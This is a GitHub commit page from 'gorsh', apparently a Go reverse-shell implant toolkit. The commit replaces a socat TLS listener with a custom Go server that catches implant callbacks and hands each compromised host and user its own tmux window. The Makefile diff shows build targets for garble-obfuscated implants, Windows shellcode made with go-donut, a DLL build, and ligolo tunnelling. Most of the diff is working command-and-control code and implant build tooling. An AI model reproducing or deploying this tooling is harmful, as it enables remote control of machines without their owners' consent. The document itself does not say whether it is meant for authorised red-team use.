Skip to content

Commit

Permalink
replace socat with custom server
Browse files Browse the repository at this point in the history
  • Loading branch information
audibleblink committed Apr 8, 2022
1 parent 7ff741d commit 02010eb
Show file tree
Hide file tree
Showing 9 changed files with 70 additions and 122 deletions.
30 changes: 15 additions & 15 deletions Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -3,14 +3,15 @@
##############
# used for artifact naming
APP ?= gorsh
SERVER = ${OUT}/${APP}-server
# artifact output directory
OUT ?= /srv/smb/tools
OUT ?= build
# build command prefix
BUILD = go build -trimpath
BUILD = go build
# operation systems to build for
PLATFORMS = linux windows darwin
# host the reverse shell will call back to
LHOST ?= 10.10.14.21
LHOST ?= localhost
# port the reverse shell will call back to
LPORT ?= 8443
# exfil and staging path to serve over smb
Expand Down Expand Up @@ -42,7 +43,6 @@ target = $(word 1, $@)
LIGOLO = ${HOME}/.local/bin/ligolo
GODONUT = ${GOPATH}/bin/go-donut
GARBLE = ${GOPATH}/bin/garble
SOCAT = $(shell which socat)
FZF = ${GOPATH}/bin/fzf


Expand All @@ -58,12 +58,12 @@ ${PLATFORMS}: $(SRV_KEY) $(GARBLE) ## one of: windows, linux, darwin
-o ${OUT}/${APP}.${target} \
cmd/gorsh/main.go

listen: $(SRV_KEY) $(SOCAT) ## starts the socat tls listener that catches callbacks
@test -n "$(LPORT)" || (echo "LPORT not defined"; exit 1)
${SOCAT} -d \
OPENSSL-LISTEN:${LPORT},fork,key=${SRV_KEY},cert=${SRV_PEM},reuseaddr,verify=0 \
EXEC:scripts/${target}.sh
# TCP:10.10.14.21:13338
$(SERVER): $(SRV_KEY) ## make the listening server
${BUILD} \
-buildmode pie \
-ldflags ${LDFLAGS} \
-o ${target} \
cmd/gorsh-server/main.go

shellcode: $(GODONUT) windows ## generate PIC windows shellcode
${GODONUT} --arch x64 --verbose \
Expand All @@ -80,12 +80,15 @@ dll: ## creates a windows dll. exports are definded in `cmd/gorsh-dll/dllmain.g
-o ${OUT}/${APP}.windows.dll \
cmd/gorsh-dll/dllmain.go

listen: $(SERVER) ## start listening for callbacks on LPORT
$< | bash

##############
# LIGOLO MGMT
##############
start-ligolo: ## configures the necessary tun interfaces and starts ligolo. requires root
ip tuntap add user player1 ligolo mode tun
ip link set ligolo up
sudo ip tuntap add user player1 ligolo mode tun
sudo ip link set ligolo up
$(LIGOLO) -selfcert

##############
Expand Down Expand Up @@ -157,9 +160,6 @@ $(GARBLE):
$(FZF):
go install github.com/junegunn/fzf@latest

$(SOCAT):
sudo apt get install socat

$(SRV_KEY) $(SRV_PEM) &:
mkdir -p certs
openssl req -subj '/CN=localhost/O=Localhost/C=US' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout ${SRV_KEY} -out ${SRV_PEM}
Expand Down
77 changes: 32 additions & 45 deletions cmd/gorsh-server/main.go
Original file line number Diff line number Diff line change
Expand Up @@ -46,6 +46,14 @@ func init() {
// Because of this, all logging is sent to stderr
log.SetOutput(os.Stderr)
// log.SetLevel(log.DebugLevel)

// ensure socket folder exists
if _, err := os.Stat(".state"); os.IsNotExist(err) {
os.Mkdir(".state", 0700)
}

// account for existing session to avoid 'duplicate session' error
initSessions()
}

func main() {
Expand All @@ -71,7 +79,7 @@ func main() {
continue
}

sockF, err := routeToTmux(conn)
sockF, err := prepareTmux(conn)
if err != nil {
log.Error(err)
continue
Expand Down Expand Up @@ -121,32 +129,17 @@ func newTLSListener() (net.Listener, error) {

func startShell(conn net.Conn) {
log.WithFields(log.Fields{"port": opts.Port, "host": opts.Iface}).Info("Incoming")
reader, writer := bufio.NewReader(conn), bufio.NewWriter(conn)

// continuously read the incoming data and print to stdout
go func() {
for {
out, err := reader.ReadByte()
if err != nil {
log.Fatalf("error reading from implant: %w\n", err)
}
fmt.Printf(string(out))
}
}()
go func() { io.Copy(os.Stdout, conn) }()

teaTeeWhy, err := tty.Open()
if err != nil {
log.Fatal(err)
}
defer teaTeeWhy.Close()

// support resizing
go func() {
for ws := range teaTeeWhy.SIGWINCH() {
fmt.Println("Resized", ws.W, ws.H)
}
}()

// allows catching ctrl+c remotely
restore, err := teaTeeWhy.Raw()
if err != nil {
log.Errorf("failed to enter raw: %s\n", err)
Expand All @@ -155,17 +148,7 @@ func startShell(conn net.Conn) {
defer restore()

// read stdin from user and send to remote implant
for {
key, err := teaTeeWhy.ReadRune()
if err != nil {
log.Errorf("failed to read input char: %s\n", err)
continue
}

writer.WriteRune(key)
writer.Flush()

}
io.Copy(conn, teaTeeWhy.Input())
}

func implantInfo(conn net.Conn) (hostname, username string, err error) {
Expand All @@ -188,7 +171,23 @@ func implantInfo(conn net.Conn) (hostname, username string, err error) {
return
}

func routeToTmux(conn net.Conn) (string, error) {
func genTempFilename(username string) (string, error) {
file, err := ioutil.TempFile(".state", fmt.Sprintf("%s.*.sock", username))
if err != nil {
err = fmt.Errorf("temp file failed: %w", err)
return "", err
}
os.Remove(file.Name())

path, err := filepath.Abs(file.Name())
if err != nil {
err = fmt.Errorf("temp path read failed: %w", err)
return "", err
}
return path, nil
}

func prepareTmux(conn net.Conn) (string, error) {

hostname, username, err := implantInfo(conn)
if err != nil {
Expand All @@ -203,28 +202,16 @@ func routeToTmux(conn net.Conn) (string, error) {
session := sessions[hostname]
window := session.AddWindow(username)

if _, err := os.Stat(".state"); os.IsNotExist(err) {
os.Mkdir(".state", 0700)
}

file, err := ioutil.TempFile(".state", fmt.Sprintf("%s.*.sock", username))
path, err := genTempFilename(username)
if err != nil {
err = fmt.Errorf("temp file failed: %w", err)
return "", err
}
os.Remove(file.Name())

path, err := filepath.Abs(file.Name())
if err != nil {
err = fmt.Errorf("temp path read failed: %w", err)
return "", err
}

self := os.Args[0]
cmd := fmt.Sprintf("%s -s %s", self, path)
log.WithFields(log.Fields{"session": session.Name, "window": username}).Info("new shell in tmux")
window.Exec(`echo -e '\a'`) // ring a bell
window.Exec(cmd)
log.WithFields(log.Fields{"session": session.Name, "window": username}).Info("new shell in tmux")
return path, nil
}

Expand Down Expand Up @@ -261,7 +248,7 @@ func proxyConnToSocket(conn net.Conn, sockF string) {

func initSessions() {
for _, name := range sessionList() {
sessions[name] = gomux.NewSession(name, os.Stdout)
sessions[name] = &gomux.Session{Name: name}
}
}

Expand Down
5 changes: 3 additions & 2 deletions go.mod
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
module git.hyrule.link/blink/gorsh

go 1.17
go 1.18

require (
code.cloudfoundry.org/bytefmt v0.0.0-20211005130812-5bb3c17173e5
Expand All @@ -9,7 +9,6 @@ require (
github.com/abiosoft/readline v0.0.0-20180607040430-155bce2042db
github.com/audibleblink/dllinquent v0.2.1
github.com/audibleblink/getsystem v0.2.0
github.com/audibleblink/gorsh v0.0.0-20210703023409-710eefa1835f
github.com/audibleblink/ligolo-ng v0.4.0
github.com/audibleblink/memutils v0.0.2
github.com/fatih/structs v1.1.0
Expand All @@ -25,6 +24,8 @@ require (

require (
github.com/Binject/debug v0.0.0-20211007083345-9605c99179ee // indirect
github.com/chzyer/logex v1.1.10 // indirect
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 // indirect
github.com/fatih/color v1.13.0 // indirect
github.com/flynn-archive/go-shlex v0.0.0-20150515145356-3f9db97f8568 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
Expand Down
Loading

0 comments on commit 02010eb

Please sign in to comment.